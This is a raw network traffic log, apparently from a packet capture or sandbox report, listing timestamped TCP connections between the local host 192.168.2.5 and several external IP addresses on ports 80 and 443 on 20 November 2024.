Nov 20, 2024 00:19:24.092581034 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.092634916 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.092658043 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.092658043 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.092679977 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.092703104 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.092731953 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.092782021 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.092839003 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.093280077 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.093290091 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.093328953 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.093332052 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.093358994 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.093380928 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.093393087 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.093406916 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.093406916 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.093421936 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.093426943 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.093516111 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.110097885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.110136032 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.110172033 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.110186100 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.110207081 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.110223055 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.110223055 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.110260010 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.110313892 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.110315084 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.110364914 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.110414982 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.110419035 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.110447884 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.110497952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.110502005 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.110532045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.110553026 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.110582113 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.110621929 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.110631943 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.110632896 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.110655069 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.110661983 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.110688925 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.110702038 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.110723019 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.110758066 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.110775948 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.110790968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.110817909 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.110825062 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.110837936 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.110858917 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.110882044 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.110893965 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.110925913 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.110939980 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.110971928 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.110981941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.111032009 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.111047983 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.111083984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.111085892 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.111116886 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.111133099 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.111170053 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.111213923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.111249924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.111285925 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.111300945 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.111339092 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.111356974 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.111407042 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.111419916 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.111442089 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.111454010 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.111475945 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.111499071 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.111521959 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.111530066 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.111593962 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.111593962 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.111643076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.111646891 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.111686945 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.111700058 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.111701965 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.111732960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.111752987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.111767054 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.111787081 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.111800909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.111815929 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.111835003 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.111849070 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.111872911 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.111886024 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.111887932 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.111918926 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.111938000 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.111953020 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112003088 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112025023 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.112051010 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112055063 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.112087011 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112121105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112127066 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.112148046 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.112150908 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112190008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112215042 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.112226009 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112235069 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.112258911 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112303019 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.112303972 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112314939 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112328053 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112329006 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.112341881 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112370014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.112376928 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112390041 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.112410069 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112443924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112471104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.112478018 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112488031 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.112510920 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112529993 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.112570047 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.112570047 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112603903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112638950 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112657070 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.112672091 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112695932 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.112705946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112724066 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.112740040 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112760067 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.112773895 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112790108 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.112808943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112843037 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112862110 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.112876892 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112895966 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.112910032 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112919092 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.112945080 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112962961 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.112977982 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.112998962 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.113012075 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.113027096 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.113066912 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.113967896 CET	443	62063	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.114248037 CET	62063	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.114259958 CET	443	62063	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.115720987 CET	443	62063	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.115824938 CET	62063	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.117091894 CET	62063	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.117177963 CET	443	62063	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.117388964 CET	62063	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.117397070 CET	443	62063	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.127610922 CET	443	62053	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.127672911 CET	443	62053	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.127827883 CET	62053	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.135538101 CET	443	62065	20.96.153.111	192.168.2.5
Nov 20, 2024 00:19:24.135807991 CET	62065	443	192.168.2.5	20.96.153.111
Nov 20, 2024 00:19:24.135844946 CET	443	62065	20.96.153.111	192.168.2.5
Nov 20, 2024 00:19:24.136363983 CET	443	62061	18.164.116.57	192.168.2.5
Nov 20, 2024 00:19:24.136466980 CET	443	62065	20.96.153.111	192.168.2.5
Nov 20, 2024 00:19:24.136590958 CET	443	62061	18.164.116.57	192.168.2.5
Nov 20, 2024 00:19:24.136657000 CET	62061	443	192.168.2.5	18.164.116.57
Nov 20, 2024 00:19:24.137800932 CET	62065	443	192.168.2.5	20.96.153.111
Nov 20, 2024 00:19:24.137913942 CET	443	62065	20.96.153.111	192.168.2.5
Nov 20, 2024 00:19:24.138031006 CET	62065	443	192.168.2.5	20.96.153.111
Nov 20, 2024 00:19:24.139362097 CET	62053	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.139384985 CET	443	62053	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.139398098 CET	62053	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.139404058 CET	443	62053	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.140044928 CET	62061	443	192.168.2.5	18.164.116.57
Nov 20, 2024 00:19:24.140057087 CET	443	62061	18.164.116.57	192.168.2.5
Nov 20, 2024 00:19:24.140064955 CET	62061	443	192.168.2.5	18.164.116.57
Nov 20, 2024 00:19:24.140178919 CET	62061	443	192.168.2.5	18.164.116.57
Nov 20, 2024 00:19:24.145551920 CET	62075	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.145576000 CET	443	62075	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.145688057 CET	62075	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.145860910 CET	62075	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.145873070 CET	443	62075	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.148803949 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.148839951 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.148890972 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.148904085 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.148941040 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.148974895 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.149000883 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.149015903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.149024963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.149065971 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.149066925 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.149111986 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.149113894 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.149164915 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.149164915 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.149199009 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.149214029 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.149234056 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.149254084 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.149283886 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.149334908 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.149338007 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.149384975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.149385929 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.149434090 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.149436951 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.149463892 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.149481058 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.149496078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.149519920 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.149529934 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.149537086 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.149564981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.149578094 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.149599075 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.149616003 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.149631977 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.149660110 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.149678946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.149697065 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.149712086 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.149746895 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.149766922 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.164401054 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.164454937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.164489031 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.164500952 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.164536953 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.164536953 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.164860964 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.164895058 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.164927959 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.164928913 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.164948940 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.164963961 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.164999962 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.165014982 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.165050030 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.165316105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.165365934 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.165400028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.165421009 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.165433884 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.165451050 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.165468931 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.165488005 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.165502071 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.165515900 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.165544033 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.179450989 CET	443	62065	20.96.153.111	192.168.2.5
Nov 20, 2024 00:19:24.183754921 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.183783054 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.183860064 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.183877945 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.183926105 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.185483932 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.185504913 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.185575962 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.185589075 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.185636997 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.185853958 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.185929060 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.186867952 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.186889887 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.186988115 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.186999083 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.187048912 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.189274073 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.189292908 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.189444065 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.189466953 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.189623117 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.190804958 CET	443	62060	20.110.205.119	192.168.2.5
Nov 20, 2024 00:19:24.190917969 CET	443	62060	20.110.205.119	192.168.2.5
Nov 20, 2024 00:19:24.191128969 CET	62060	443	192.168.2.5	20.110.205.119
Nov 20, 2024 00:19:24.192905903 CET	62060	443	192.168.2.5	20.110.205.119
Nov 20, 2024 00:19:24.192934036 CET	443	62060	20.110.205.119	192.168.2.5
Nov 20, 2024 00:19:24.211674929 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.211710930 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.211760998 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.211761951 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.211795092 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.211828947 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.211831093 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.211831093 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.211859941 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.211862087 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.211914062 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.211915016 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.211946964 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.211966991 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.211997032 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212002039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.212029934 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212066889 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.212081909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212116957 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212135077 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.212152958 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212172985 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.212192059 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212203979 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212213993 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.212234974 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.212235928 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212260008 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.212270021 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212284088 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.212304115 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212325096 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.212337017 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212366104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.212371111 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212383986 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.212405920 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212439060 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212455034 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.212472916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212493896 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.212522984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212531090 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.212557077 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212589979 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212606907 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.212606907 CET	49762	80	192.168.2.5	185.215.113.206
